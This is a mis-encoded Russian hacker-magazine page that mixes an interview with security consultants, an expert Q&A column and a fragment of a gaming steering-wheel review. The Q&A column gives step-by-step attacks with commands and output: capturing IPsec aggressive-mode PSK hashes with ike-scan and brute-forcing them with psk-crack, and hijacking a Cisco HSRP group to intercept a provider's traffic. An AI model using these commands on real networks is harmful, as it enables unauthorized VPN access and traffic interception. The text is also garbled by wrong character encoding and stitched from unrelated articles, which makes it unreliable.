êîíòðàêòíîé îñíîâå. Êñòàòè, ñêîëüêî ñîòðóäíèêîâ áûëî â Microsoft ãîäó òàê â 77-ì?
Ìû ìîæåì ìíîãîå. Ïðàêòè÷åñêè ëþáàÿ îïåðàöèîíêà, ëþáîé óðîâåíü OSI è ñåòåâîé ïðîòîêîë, ëþáàÿ òî-
ïîëîãèÿ ñåòè... Êîíêóðåíòû æå â ýòîì ïëàíå ÷àñòî îòñòàþò. Ê ïðèìåðó, âî ìíîãèõ ôèðìàõ ìåòîäîëîãèÿ
ïðîâåäåíèÿ âíóòðåííèõ è âíåøíèõ àóäèòîâ ñåòåé íè÷åì íå îòëè÷àþòñÿ. Áåñïðîâîäíûå ñåòè íîðìàëüíî
íå ïîêðûòû. Íå óäåëÿåòñÿ âíèìàíèÿ ïðîòîêîëàì íà êàíàëüíîì óðîâíå. Íåò óðîâíÿ ýêñïåðòèçû, ïîçâî-
ëÿþùåãî íàõîäèòü íîâûå óÿçâèìîñòè, åñòü æåñòêàÿ ïðèâÿçêà ê îòäåëüíûì ðåøåíèÿì ñïåöèôè÷åñêèõ
ïðîèçâîäèòåëåé. È òàê äàëåå...

ÊÎÍÑÒÀÍÒÈÍ ÃÃÀÂÐÈËÅÍÊÎ: Ìèð èíôîñåêà ñëèøêîì äèíàìè÷åí, ÷òîáû êàêàÿ-òî îïðåäåëåííàÿ îá-
ëàñòü îñòàâàëàñü àêòóàëüíîé äîëãîå âðåìÿ. Íàèáîëåå óÿçâèìû íîâûå òåõíîëîãèè, êîòîðûå åùå íå ïðî-
âåðåíû âðåìåíåì, èëè òåõíîëîãèè, íàáèðàþùèå ïîïóëÿðíîñòü. Ïîñëåäíèå ïàðó ëåò âñå áåç èñêëþ÷åíèÿ
êîíòîðû ïî áåçîïàñíîñòè äåìîíñòðèðóþò ñïîñîáû ïðîíèêíîâåíèÿ ÷åðåç óÿçâèìîñòè â web’å. Ñêëàäûâà-
åòñÿ òàêîå âïå÷àòëåíèå, ÷òî êðîìå SQL-èíúåêöèè è ñåäüìîãî óðîâíÿ, áîëüøå íè÷åãî íå ñóùåñòâóåò. Ê
ñîæàëåíèþ, ýòî íå òàê, è ïðè îöåíêå áåçîïàñíîñòè ñåòåâîé èíôðàñòðóêòóðû ìíîãèå âåùè îñòàþòñÿ íå-
çàìå÷åííûìè, ÷òî ìû íåîäíîêðàòíî âèäåëè, ïðîâåðÿÿ ðàáîòó äðóãèõ «ýêñïåðòîâ». Â ïëàíå security-îáî-
ðóäîâàíèÿ, íà ìîé âçãëÿä, ñòîèòü îáðàòèòü âíèìàíèå íà ñèñòåìû ïðåäîòâðàùåíèÿ âòîðæåíèÿ (IPS), web-
áðàíäìàóýðû (Layer-7 firewall), SSL âèðòóàëüíûå ÷àñòíûå ñåòè (SSL VPN) è ñèñòåìû öåíòðàëèçîâàííîãî
óïðàâëåíèÿ áåñïðîâîäíûìè ñåòÿìè.
ÀÍÄÐÅÉ ÂÂËÀÄÈÌÈÐÎÂ: Çàùèòà èíôðàñòðóêòóðû ñåòåé: êîììóòàòîðîâ, ìàðøðóòèçàòîðîâ è ò.ä. Èì
äîëæíî óäåëÿòüñÿ íå ìåíüøå âíèìàíèÿ, ÷åì ñåðâåðàì. Áåñïðîâîäíûå ñåòè âñåõ òèïîâ. Ìîáèëüíûå óñò-
ðîéñòâà è èõ âñòðîåííûå îïåðàöèîííûå ñèñòåìû. Web-ïðèëîæåíèÿ. Áàçû äàííûõ. Ñèñòåìû ïðåäîòâðà-
ùåíèÿ âòîðæåíèé (IPS), çàùèòà êëèåíòñêèõ óñòðîéñòâ íà óðîâíå ÿäðà ñèñòåìû è ñèñòåìíûõ âûçîâîâ,
êîíöåïöèÿ «ñàìîçàùèùàþùèõñÿ» ñåòåé. «Óìíàÿ» è äåéñòâåííàÿ ôèëüòðàöèÿ ñïàìà è âðåäîíîñíûõ
ïðîãðàìì. Â îòäåëüíûõ îáëàñòÿõ (èíòåðíåò-ìàãàçèíû, àóêöèîíû, êàçèíî è áóêìåêåðû) — DDoS-àòàêè è
ýôôåêòèâíàÿ çàùèòà îò íèõ.

ÊÎÍÑÒÀÍÒÈÍ ÃÃÀÂÐÈËÅÍÊÎ: Ñïèì ìàëî :), äà è òî îáû÷íî ïåðåä êîìïüþòåðîì. Âñÿ èíôîðìàöèÿ â
êíèãàõ, ñòàòüÿõ î íîâûõ óÿçâèìîñòÿõ — ýòî íàðàáîòêè, ñäåëàííûå çà âðåìÿ ïðîâåäåíèÿ àóäèòîâ. À ñà-
ìî íàïèñàíèå ïîñëå ïðîäåëàííûõ èññëåäîâàíèé çàíèìàåò íå òàê óæ è ìíîãî âðåìåíè. Ãëàâíîå — ýòî
ñòðåìëåíèå ïîçíàòü ÷òî-òî íîâîå, íàéòè íîâûå ìåòîäû ðåøåíèÿ çàäà÷.
ÀÍÄÐÅÉ ÌÌÈÕÀÉËÎÂÑÊÈÉ: Ñìîòðÿ ÷òî íàçûâàòü ðàáîòîé. Äëÿ íàñ è äðóãèõ ñïåöèàëèñòîâ â ñôåðå
êîìïüþòåðíîé áåçîïàñíîñòè ðàáîòîé ìîæåò ñ÷èòàòüñÿ ïî÷òè âñå ÷òî óãîäíî — îò êîíôèãóðàöèè ïðîã-
ðàììû èëè äåâàéñà, ïðîâåðêè ïðîòîêîëîâ è ñòàíäàðòîâ äî ïðîãðàììèðîâàíèÿ è ñîçäàíèÿ êîäà è
ýêñïëîéòîâ. Áîëüøóþ ÷àñòü âðåìåíè ìû ïðîâîäèì ïåðåä êîìïüþòåðàìè, ÷èòàÿ äîêóìåíòàöèè, ñòàòüè è
ïóáëèêàöèè, èãðàÿñü ñ ðàçëè÷íûìè ïðîãðàììàìè è îáîðóäîâàíèåì.

ÊÎÍÑÒÀÍÒÈÍ ÃÃÀÂÐÈËÅÍÊÎ: Êîíå÷íî, åñòü. Âçãëÿíè íà ëèñò îïóáëèêîâàííûõ íàéäåííûõ óÿçâèìîñ-
òåé :). Êðîìå òîãî, íàøà ìåòîäîëîãèÿ îöåíêè áåçîïàñíîñòè è ïðîíèêíîâåíèÿ â áåñïðîâîäíûå ñåòè, îïóá-
ëèêîâàííàÿ â àïïåíäèêñå ê «Wi-ôó», áûëà ïåðâûì ñèñòåìàòèçèðîâàííûì äîêóìåíòîì íà ýòó òåìó. Â
ïëàíå óòèëèò… Ìû â îñíîâíîì èñïîëüçóåì ÏÎ ñ îòêðûòûì êîäîì, ïîýòîìó íå òîëüêî áåðåì, íî è îòäà-
åì âçàìåí äëÿ îáùåãî áëàãà. Íàïðèìåð, íà äàííûé ìîìåíò åäèíñòâåííîé óòèëèòîé, ñïîñîáíîé ãåíåðè-
ðîâàòü ïðîèçâîëüíûå ïàêåòû äëÿ EIGRP-ïðîòîêîëà ìàðøðóòèçàöèè, ÿâëÿåòñÿ íàøà EIGRP-tools. Ïðèìå-
÷àòåëüíî, ÷òî âñå íàøè óòèëèòû âêëþ÷åíû â ðàçëè÷íûå äèñòðèáóòèâû äëÿ îöåíêè áåçîïàñíîñòè, çíà÷èò,
âðåìÿ áûëî ïîòðà÷åíî íå çðÿ.
ÀÍÄÐÅÉ ÌÌÈÕÀÉËÎÂÑÊÈÉ: «Àðõîíò» ðàçðàáîòàë íåñêîëüêî îáðàçöîâ è øàáëîíîâ äëÿ ïðîâåðêè áåç-
îïàñíîñòè áåñïðîâîäíûõ ñåòåé, êîòîðûìè ïîëüçóþòñÿ ìíîãèå êîíñóëüòàíòû è êîììåð÷åñêèå îðãàíèçà-
öèè â íàøåé èíäóñòðèè. Ìû òàêæå ñîçäàëè øàáëîíû äëÿ àíàëèçà îáîðóäîâàíèÿ, ïðîãðàìì è ñòàíäàð-
òîâ ñ ïðîïðèåòàðíûì êîäîì. Âî âðåìÿ íàïèñàíèÿ Hacking Exposed «Àðõîíò» ðàçðàáîòàë ìåòîäû è óòè-
ëèòû äëÿ ïðîâåðêè áåçîïàñíîñòè îáîðóäîâàíèÿ è ïðîòîêîëîâ, èñïîëüçîâàííûõ êîìïàíèåé Cisco ïðè
ðàñïðåäåëåíèè òðàôèêà â èíòåðíåòå.
ÀÍÄÐÅÉ ÂÂËÀÄÈÌÈÐÎÂ: Ðàçóìååòñÿ, åñòü, è êîå-÷òî íàäî áóäåò äàæå çàïàòåíòîâàòü. À èíôîðìàöèþ
íàñ÷åò îáíàðóæåíèÿ íîâûõ óÿçâèìîñòåé è íàïèñàíèÿ óòèëèò ñ îòêðûòûì êîäîì äëÿ «îáùåñòâåííîãî
ïîëüçîâàíèÿ» òû âñåãäà ìîæåøü íàéòè íà íàøèõ ñàéòàõ: www.arhont.com, www.wi-foo.com è www.hackingciscoex-

posed.com 

ÑÏÅÖ: ÂÀÌÈ ÍÀÏÈÑÀÍÎ ÑÒÎËÜÊÎ ÊÍÈÃ 
È ÑÒÀÒÅÉ... ÊÎÃÄÀ ÆÅ ÓÑÏÅÂÀÅÒÅ 
ÐÀÁÎÒÀÒÜ?

ÑÏÅÖ: ÅÑÒÜ ËÈ ÊÀÊÈÅ-ÒÎ ÍÎÓ-ÕÀÓ 
Â ÎÁËÀÑÒÈ ÁÅÇÎÏÀÑÍÎÑÒÈ, ÊÎÒÎÐÛÅ 
ÂÛ ÑÎÇÄÀËÈ ÑÀÌÈ?

ÑÏÅÖ: ×ÒÎ ÍÀÈÁÎËÅÅ ÀÊÒÓÀËÜÍÎ 
ÑÅÃÎÄÍß? ×ÅÌ ÆÈÂÓÒ ÑÎÂÐÅÌÅÍÍÛÅ 
ÝÊÑÏÅÐÒÛ ÏÎ ÁÅÇÎÏÀÑÍÎÑÒÈ?
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ÎÒÂÅÒ: Â ïåðâóþ î÷åðåäü âñå çàâèñèò îò êðèâèçíû ðóê àäìèíà. Íîðìàëüíûé àäìèí ìîæåò ïðàâèëüíî
íàñòðîèòü è îáåçîïàñèòü ìàøèíó íà âèíäå, â òî âðåìÿ êàê àäìèí, ñòðàäàþùèé âðîæäåííîé êðèâîðó-
êîñòüþ, íàñòåæü îòêðîåò ñåðâåð íà OpenBSD. Òå æå ñàìûå ïðèíöèïû îòíîñÿòñÿ è ê óñòàíîâêå Â×Ñ è
íàñòðîéêå ëþáûõ äðóãèõ ñåðâèñîâ. Â×Ñ íà îñíîâå IPSEC ïðèíÿòî ñ÷èòàòü íàäåæíûì è áåçîïàñíûì ðå-
øåíèåì, õîòÿ è äîñòàòî÷íî ñëîæíûì â óñòàíîâêå. Êàê èçâåñòíî, ÷åì èçîùðåííåå ðåøåíèå, òåì âåðîÿò-
íåå îøèáêè â íåì: ñëîæíî ðàçîáðàòüñÿ â ðàáîòå âñåãî ïðîöåññà äîñêîíàëüíî.

Ïîïðîáóþ îáúÿñíèòü íà ïàëüöàõ, êàê, ñêîðåå âñåãî, âçëîìàëè òâîåãî òîâàðèùà. Ñóùåñòâóåò äâà
ðåæèìà ðàáîòû: AH (Authenticated Header) è ESP (Encapsulated Security Payload). Ïðè èñïîëüçîâàíèè AH
äàííûå íå øèôðóþòñÿ, à òîëüêî äîáàâëÿåòñÿ çàãîëîâîê àóòåíòèôèêàöèè ïàêåòà. Ïðè èñïîëüçîâàíèè ESP
ïàêåò ïîëíîñòüþ øèôðóåòñÿ è äîáàâëÿþòñÿ íîâûå IP-çàãîëîâêè. Åñëè àäìèí èñïîëüçîâàë IPSEC â ðåæè-
ìå AH, òî âïîëíå âîçìîæíî, ÷òî êòî-òî ïåðåõâàòèë âàæíóþ èíôîðìàöèþ è èñïîëüçîâàë åå äëÿ äàëüíåé-
øåãî âçëîìà. Íàçâàòü ýòî âçëîìîì òóííåëÿ, êîíå÷íî, ñëîæíî. Òîëüêî åñëè ñ î÷åíü áîëüøîé íàòÿæêîé.

Ñóùåñòâóåò íåñêîëüêî òèïîâ ðàáîòû Â×Ñ. Èñïîëüçóÿ ñòàòè÷åñêèå êëþ÷è èëè èñïîëüçóÿ IKE, äëÿ
ñîãëàñîâàíèÿ ïðîòîêîëîâ è àëãîðèòìîâ è ãåíåðàöèè äèíàìè÷åñêèõ êëþ÷åé øèôðîâàíèÿ è àóòåíòèôèêà-
öèè. Â áîëüøèíñòâå ñëó÷àåâ èñïîëüçóåòñÿ IKE. Ñîîòâåòñòâåííî, äëÿ àóòåíòèôèêàöèè êëèåíòîâ ìîãóò
áûòü èñïîëüçîâàíû èëè ïàðîëü (PSK), èëè x509-ñåðòèôèêàò. Ñóùåñòâóåò òàêæå íåñêîëüêî ðåæèìîâ, èñ-
ïîëüçóåìûõ äëÿ óñòàíîâëåíèÿ àóòåíòèôèöèðîâàííîãî îáìåíà êëþ÷à: Aggressive, Quick è Main. Ïî êðàé-
íåé ìåðå, îäíà èç êîìáèíàöèé ðåæèìîâ ðàáîòû ìîæåò áûòü ôàòàëüíîé ïðè ñëàáîì çíà÷åíèè ñåêðåòíî-
ãî êëþ÷à, ÷òî, ñêîðåå âñåãî, òàê è áûëî.

Åñëè èñïîëüçóþòñÿ îäíîâðåìåííî àãðåññèâíûé ìåòîä îáìåíà è ñåêðåòíûé êëþ÷, ñóùåñòâóåò âîç-
ìîæíîñòü óäàëåííîãî ïîëó÷åíèÿ õýøåé, ïðèãîäíûõ äëÿ ïîëó÷åíèÿ çíà÷åíèÿ êëþ÷à ìåòîäîì ïåðåáîðà.
Îäíîé èç íàèáîëåå ïðîäâèíóòûõ ïðîãðàìì äëÿ íóìåðàöèè IPSEC-òóííåëåé ÿâëÿåòñÿ ike-scan — www.nta-

monitor.com/tools/ike-scan. Îãðîìíîå êîëè÷åñòâî îïöèé ïîçâîëÿåò ñîçäàâàòü ïðàêòè÷åñêè ëþáûå ïðîèçâîëü-
íûå ïàêåòû IKE. Ïðåäñòàâèì ãèïîòåòè÷åñêóþ ñèòóàöèþ: àäìèí èñïîëüçîâàë ñåêðåòíûé êëþ÷ è íå óáðàë
àãðåññèâíûé ðåæèì. Ñíà÷àëà ïðè ïîìîùè ike-scan ïðîâåðèì, ÷òî IPSEC èñïîëüçóåòñÿ íà õîñòå.

arhontus # ike-scan -v 192.168.99.9

Starting ike-scan 1.8 with 1 hosts (http://www.nta-monitor.com/ike-scan/)

192.168.99.9 Main Mode Handshake returned HDR=(CKY-R=6182785ec0174f07) SA=(Enc=DES 

Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)

Êàê âèäíî ïî âûâîäó óòèëèòû, ìû ïîëó÷èëè èíôîðìàöèþ îá èñïîëüçóåìûõ òèïàõ øèôðîâàíèÿ è ìåòî-
äàõ àóòåíòèôèêàöèè. Òåïåðü ïîïûòàåìñÿ âûòàùèòü äàííûå, íåîáõîäèìûå äëÿ âçëîìà, ïîäñòàâèâ ïîëó-
÷åííûå çíà÷åíèÿ.

arhontus # ike-scan -v -A --trans 1,2,1,2 --dhgroup=2 --idtype=1 -Paggressive_psk 

192.168.99.9

Starting ike-scan 1.8 with 1 hosts (http://www.nta-monitor.com/ike-scan/)

--- Pass 1 of 3 completed

192.168.99.9 Aggressive Mode Handshake returned HDR=(CKY-R=6182785eabc881b0) 

SA=(Enc=DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds 

ÂÎÏÐÎÑ: ÇÍÀÊÎÌÛÉ ÀÄÌÈÍ ÐÀÑÑÊÀÇÀË, 
×ÒÎ ÇËÎÁÍÛÅ ÕÀÊÅÐÛ ÂÇËÎÌÀËÈ 
ÅÃÎ IPSEC ÂÈÐÒÓÀËÜÍÓÞ ×ÀÑÒÍÓÞ ÑÅÒÜ. 
Â×Ñ ÍÀÄÅÆÍÀ, ÐÀÇÂÅ ÌÎÆÍÎ 
ÂÇËÎÌÀÒÜ ÅÅ?

ÍÀ ÂÎÏÐÎÑÛ ÎÒÂÅ×ÀÅÒ ÝÊÑÏÅÐÒ ÝÒÎÃÎ ÍÎÌÅÐÀ ÊÎÍÑÒÀÍÒÈÍ ÃÀÂÐÈËÅÍÊÎ —
ÑÏÅÖÈÀËÈÑÒ Ñ ÎÏÛÒÎÌ ÐÀÁÎÒÛ Â ÈÒ-ÁÅÇÎÏÀÑÍÎÑÒÈ ÁÎËÅÅ 12-ÒÈ ËÅÒ.
ÓÂËÅÊÀÅÒÑß ÊÎÌÏÜÞÒÅÐÀÌÈ Ñ 12-ÒÈ ËÅÒ, ÍÀ×ÈÍÀË Ñ «ÀÒÀÐÈ 130» :). ÎÑÍÎÂÍÛÅ
ÑÔÅÐÛ ÄÅßÒÅËÜÍÎÑÒÈ ÊÎÍÑÒÀÍÒÈÍÀ: ÁÅÇÎÏÀÑÍÎÑÒÜ ÑÅÒÅÂÎÉ
ÈÍÔÐÀÑÒÐÓÊÒÓÐÛ È ÁÅÑÏÐÎÂÎÄÍÛÅ ÑÅÒÈ |ÀÍÄÐÅÉ ÊÀÐÎËÈÊ (ANDRUSHA@REAL.XAKEP.RU)

«ÂÑÅ ÇÀÂÈÑÈÒ ÎÒ ÊÐÈÂÈÇÍÛ ÐÓÊ ÀÄÌÈÍÀ»

ççààääààéé
ââîîïïððîîññûû
ïïîî òòååììààìì 
ññëëååääóóþþùùèèõõ 
ââûûïïóóññêêîîââ
ííàà ôôîîððóóììåå:: 
http://forum.xakep.ru/forum.asp?forumID=17

ñïðîñè 
ýêñïåðòà!
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LifeDuration=28800) VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity) 

VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection) 

VID=9445df43abc981b0c0566f19a44437ab VID=09002689dfd6b712 (XAUTH) KeyExchange(128 

bytes) ID(Type=ID_IPV4_ADDR, Value=192.168.99.9) Nonce(20 bytes) Hash(20 bytes)

Èíôîðìàöèÿ çàïèñàíà â ôàéëå aggressive_psk. Òåïåðü ìîæíî ïðèñòóïàòü ê âçëîìó ìåòîäîì ïåðåáîðà.

dyno tmp # time psk-crack --bruteforce=5 agr

Starting psk-crack [ike-scan 1.8] (http://www.nta-monitor.com/ike-scan/)

Running in brute-force cracking mode

Brute force with 36 chars up to length 5 will take up to 60466176 iterations

key "xakep" matches SHA1 hash 5bca530f21cf4bf68e067e11146c752e0e81c33b

Ending psk-crack: 42669898 iterations in 286.307 seconds (149035.66 iterations/sec)

Ñåêðåòíûé êëþ÷ xakep áûë óñïåøíî çàáðóòôîðñåí çà ïÿòü ìèíóò íà ïðîñòåíüêîì AMD 3200+. Òåïåðü ìî-
æåøü ââåñòè êëþ÷ â ëþáèìûé IPSEC-êëèåíò è ïðèñîåäèíÿòñÿ ê ñåðâåðó. Àäìèíó ìîæíî ïîñîâåòîâàòü
ïîñòàâèòü ïàðîëü ïîñëîæíåå, îòêëþ÷èòü ïîääåðæêó agressive mode èëè èñïîëüçîâàòü x509-ñåðòèôèêàòû.

ÎÒÂÅÒ: Âèäèìî, òâîé ïðîâàéäåð èñïîëüçóåò ïðîòîêîë ðåçåðâíîé ìàðøðóòèçàöèè äëÿ îáåñïå÷åíèÿ âûñî-
êîãî óðîâíÿ äîñòóïíîñòè ñåòè è áåñïåðåáîéíîãî âûõîäà â èíòåðíåò. HSRP ñîçäàåò ãðóïïó èç ðåçåðâíûõ
ìàðøðóòèçàòîðîâ è ãëàâíîãî ìàðøðóòèçàòîðà, êîòîðûé îáñëóæèâàåò âñå ïàêåòû, ïîñëàííûå íà âèðòóàëü-
íûé àäðåñ. Ïðè âûõîäå èç ñòðîÿ ãëàâíîãî ìàðøðóòèçàòîðà îäèí èç çàïàñíûõ ìàðøðóòèçàòîðîâ çàéìåò åãî
ìåñòî àâòîìàòè÷åñêè è óíàñëåäóåò âèðòóàëüíûé àäðåñ ìàðøðóòèçàòîðà, îáåñïå÷èâàÿ òàêèì îáðàçîì áåñ-
ïåðåáîéíóþ ðàáîòó ñåòè. HSRP-ïðîòîêîë çàïàòåíòîâàí Cisco è, ñîîòâåòñòâåííî, ïîääåðæèâàåòñÿ òîëüêî
èõ îáîðóäîâàíèåì. Ñóùåñòâóåò àëüòåðíàòèâíûé îòêðûòûé ïðîòîêîë VRRP (rfc2338), åãî ïîääåðæèâàþò è
èñïîëüçóþò äðóãèå ïðîèçâîäèòåëè, îí òàêæå îáåñïå÷èâàåò ëó÷øóþ àóòåíòèôèêàöèþ ïàêåòîâ.

Èñïîëüçîâàòü HSRP â ñåòÿõ, ãäå íåò äîâåðèÿ ê ïîëüçîâàòåëÿì, íå ñòîèò, äàæå ïðè âêëþ÷åííîé àó-
òåíòèôèêàöèè. Íà ñàìîì äåëå íàçâàòü àóòåíòèôèêàöèåé òåêñòîâûé ïàðîëü, ïåðåäàþùèéñÿ â ïàêåòå
HSRP, ìîæíî, îïÿòü æå, òîëüêî ñ áîëüøîé íàòÿæêîé. Ïðè ïîëó÷åíèè äîñòóïà â ñåòü, ãäå èñïîëüçóåòñÿ
HSRP, ìîæíî ëåãêî ñòàòü îñíîâíûì ìàðøðóòèçàòîðîì è ïåðåõâàòèòü âåñü ïðîõîäÿùèé òðàôèê. Âñÿ èí-
ôîðìàöèÿ, íåîáõîäèìàÿ äëÿ çàõâàòà âèðòóàëüíîãî àäðåñà, ñîäåðæèòñÿ â òðàíñëèðóåìîì ïàêåòå. Çàïóñ-
êàåøü tethereal è ëîâèøü ïàêåò... 

arhontus / # tethereal -n -i eth0 -V host 224.0.0.2

Cisco Hot Standby Router Protocol

Version: 0

Op Code: Hello (0)

State: Active (16)

Hellotime: Default (3)

Holdtime: Default (10)

Priority: 110

Group: 1

Reserved: 0

Authentication Data: Non-Default (xakep)

Virtual IP Address: 192.168.99.9 (192.168.99.9)

Ïàðîëü, ãðóïïà è âèðòóàëüíûé àäðåñ âèäíû â ñàìîì ïàêåòå. Âûáîð àêòèâíîãî ìàðøðóòèçàòîðà îñóùåñòâëÿ-
åòñÿ ÷åðåç ïðèîðèòåò êàæäîãî õîñòà â ãðóïïå, êîòîðûé ïî óìîë÷àíèþ ðàâåí 100, íî ìîæåò áûòü âûñòàâëåí
âðó÷íóþ. Äëÿ òîãî ÷òîáû ïîëó÷èòü àêòèâíóþ ðîëü, íóæíî óñòàíîâèòü áîëåå âûñîêèé ïðèîðèòåò, ÷åì ó ìàðø-
ðóòèçàòîðà, êîòîðûé ÿâëÿåòñÿ àêòèâíûì íà äàííûé ìîìåíò. Âûñøåå çíà÷åíèå ïðèîðèòåòà ìîæåò áûòü 255.

Äëÿ ïîñûëêè ïðîèçâîëüíîãî ïàêåòà âîñïîëüçóéñÿ óòèëèòîé hsrp èç irpas. Íî èìåé â âèäó, ÷òî ïà-
êåòû îïîâåùåíèÿ ïîñûëàþòñÿ êàæäûå òðè ñåêóíäû. Òàê ÷òî, åñëè õî÷åøü, ÷òîáû ÷ëåíû HSRP-ãðóïïû
ïðîäîëæàëè ñ÷èòàòü òâîé õîñò àêòèâíûì ìàðøðóòèçàòîðîì, ïîñòàâü èõ îòñûëêó â öèêë.

arhontus / # while :; do ./hsrp -d 224.0.0.2 -v 192.168.99.9 -a xakep -g 1 -i

eth0; sleep 3; done

arhontus / # ip address add 192.168.99.9/24 dev eth0

arhontus / # echo «1» /proc/sys/net/ipv4/ip_forward

Íå çàáóäü äîáàâèòü âèðòóàëüíûé àäðåñ íà ñâîé âíåøíèé èíòåðôåéñ è ðàçðåøèòü ìàðøðóòèçàöèþ. 
Çàïóñêàé ëþáèìûé àíàëèçàòîð òðàôèêà è ëîâè èíòåðåñíóþ èíôîðìàöèþ 

ÂÎÏÐÎÑ: ÍÅÄÀÂÍÎ ÓÇÍÀË 
Î ÌÍÎÃÎÀÄÐÅÑÍÎÉ ÐÀÑÑÛËÊÅ 
È ÏÎÑÒÀÂÈË ÂÍÅØÍÈÉ ÈÍÒÅÐÔÅÉÑ 
ÑÂÎÅÃÎ ÐÎÓÒÅÐÀ ÑÍÈÔÀÒÜ 224.0.0.0/4.
ÓÂÈÄÅË, ×ÒÎ ÊÀÊÈÅ-ÒÎ ÑÒÐÀÍÍÛÅ HSRP-
ÏÀÊÅÒÛ ÏÎÑÒÎßÍÍÎ ÈÄÓÒ ÍÀ ÀÄÐÅÑ 
224.0.0.2. ×ÒÎ ÇÀ ÏÀÊÅÒÛ, ÌÎÃÓ ËÈ ß 
ÏÎÕÀ×ÈÒÜ ÏÐÎÂÀÉÄÅÐÀ? 
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Êàæäûé ðàç, êîãäà ïðîõîäèøü ìèìî âèòðèíû ñ èãðîâûìè ìàíèïóëÿòîðàìè,
â òâîåé ãîëîâå ðîæäàåòñÿ ìûñëü: «À ÷òî åñëè âçÿòü âîò ýòîò ðóëü è óñòðîèòü
çàåçä?» Íî äàæå äëÿ ñàìûõ ÿðûõ ãåéìåðîâ ðóëü ñ ïåäàëÿìè ïðèíàäëåæèò
ê îáëàñòè áåññìûñëåííûõ òðàò. Äðóãîå äåëî êëàâèàòóðà èëè ìûøü: ìû ïîñ-
òîÿííî êîíòàêòèðóåì ñ íèìè, à ïîêóïàòü ðóëü, ÷òîáû óñòàíàâëèâàòü åãî ðàç
èëè äâà â ìåñÿö, íåñåðüåçíî. Îäíàêî ïîñìîòðèì íà òàêîå ïðèîáðåòåíèå
ñ äðóãîé ñòîðîíû. Âñïîìíè, ñêîëüêî ðàç òû, ñèäÿ ïåðåä êîìïüþòåðîì è óñ-
òàíàâëèâàÿ íîâûé àâòîñèìóëÿòîð, æàëåë î íåõâàòêå íà ñòîëå ðóëÿ è ïåäà-
ëåé ïîä íèì. Ñêîëüêî âèðàæåé è êðàñèâûõ ïîâîðîòîâ ñî ñíîñîì îäíîé èëè
äâóõ îñåé íå ñîñòîÿëîñü òîëüêî ïîòîìó, ÷òî êëàâèøè îáëàäàþò âñåãî äâóìÿ
ñîñòîÿíèÿìè: «âêëþ÷åíî» è «âûêëþ÷åíî». Íåìíîãî äîâåðíóòü, íåìíîãî ñíè-
çèòü ñêîðîñòü î÷åíü ëåãêî, íî â ðåçóëüòàòå — òðåñê êëàâèàòóðû è íèêàêîé
ðåàëèñòè÷íîñòè.

Òåïåðü ïðåäñòàâü, ÷òî íà òâîåì ñòîëå ñòîèò ðóëü ñ îáðàòíîé ñâÿçüþ.
Êðåïêî óõâàòèâ áàðàíêó, òû çàïóñêàåøü òðàññó è ïîãðóæàåøüñÿ â ñîâåð-
øåííî èíîé ìèð, ãäå ìîæíî àáñîëþòíî áåçíàêàçàííî âðåçàòüñÿ, ïîâîðà÷è-

âàòü ðóëü ðîâíî íàñòîëüêî, íàñêîëüêî ýòî íåîáõîäèìî, è íå ñðûâàòüñÿ
ñ ìåñòà, à ïëàâíî ñòàðòîâàòü è îáõîäèòü âñåõ íà âèðàæàõ. À êàêîâî ïî÷óâ-
ñòâîâàòü òî, ÷òî àñôàëüò êîí÷èëñÿ è ãðàâèéêà íå î÷åíü õîðîøî îòðàæàåòñÿ
íà ñêîðîñòè. Èëè ïîíÿòü â ðåçêîì ïîâîðîòå, ÷òî ìàøèíà íà÷èíàåò ñðûâàòü-
ñÿ â çàíîñ, è íåìíîãî ñìåñòèòü ðóëü? Âñå ýòî âîçìîæíî, ñòîèò ëèøü ïðèîá-
ðåñòè ðóëü ñ îáðàòíîé ñâÿçüþ. Ìû òåáÿ óáåäèëè?

òåõíîëîãèè. Ïðåæäå ÷åì áåæàòü â ìàãàçèí ñ êðèêîì «Äàéòå ìíå âîí
òîò êðàñíåíüêèé ðóëü ñ 20-þ êíîïêàìè!», íóæíî óñâîèòü íåñêîëüêî ïðàâèë.
Óäîáñòâî âîæäåíèÿ — ãàðàíòèÿ õîðîøèõ ïîêàçàòåëåé íà òðàññå. Ïðåæäå
âñåãî, íåîáõîäèìî îöåíèòü ñèëó è ðåàëèñòè÷íîñòü ðàáîòû îáðàòíîé ñâÿçè.
Â ìàãàçèíå âðÿä ëè ñòàíóò óñòàíàâëèâàòü äåñÿòîê ðóëåé, ÷òîáû ïîêàçàòü òå-
áå, êàê áóäóò ðàáîòàòü âèáðîìîòîð÷èêè. Çäåñü ñðàçó ðàçäåëèì óñòðîéñòâà
íà äâà êëàññà: ñ ïîääåðæêîé îáðàòíîé ñâÿçè (Force Feedback) è ñ ïîääåðæ-
êîé âèáðàöèè (Vibration). Êàê ÿñíî ïî íàçâàíèþ, âòîðûå áóäóò ïðîñòî ïåðå-
äàâàòü âèáðàöèþ ïðè èçìåíåíèè óñëîâèé âîæäåíèÿ (ñòîëêíîâåíèå ñ ïðåïÿò-
ñòâèåì èëè ñìåíà äîðîæíîãî ïîêðûòèÿ), à ïåðâûå âïîëíå ñïîñîáíû àêòèâíî

ÍÈ×ÒÎ ÍÅ ÑÐÀÂÍÈÒÑß 
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ñîïðîòèâëÿòüñÿ òâîåé ìàíåðå âîæäåíèÿ. Ê ïðèìåðó, òû ëåãêî ïî÷óâñòâóåøü
çàíîñ, åñëè òâîþ ìàøèíó òàðàíÿò èëè òåáÿ íà÷èíàåò êðóòèòü, — ðóëü ñòàíî-
âèòñÿ íåïîñëóøíûì, ïðè ïåðåñå÷åíèè ó÷àñòêà äîðîãè ñ ãðàâèéíûì ïîêðûòè-
åì îí äðîæèò è èíîãäà òåáÿ ïîäêèäûâàåò èç ñòîðîíû â ñòîðîíó. Äàé-êà ÿ
óãàäàþ, êàêîé âàðèàíò ïðåäïî÷òåøü òû?

Òåïåðü î âîçìîæíîñòÿõ ñîáñòâåííî ðóëåé. Ýòè óñòðîéñòâà àíàëîãî-
âûå, òî åñòü âåëè÷èíà ñèãíàëà (áóäü òî óãîë ïîâîðîòà ðóëÿ èëè ñèëà íàæà-
òèÿ ïåäàëè) íå ìîæåò áûòü ðàâíîé ïîñòîÿííîìó çíà÷åíèþ, êàê íà êëàâèà-
òóðå («íàæàòî»/»íå íàæàòî»). Âîò ïî÷åìó ñèãíàë ðàçáèò íà íåñêîëüêî ñî-
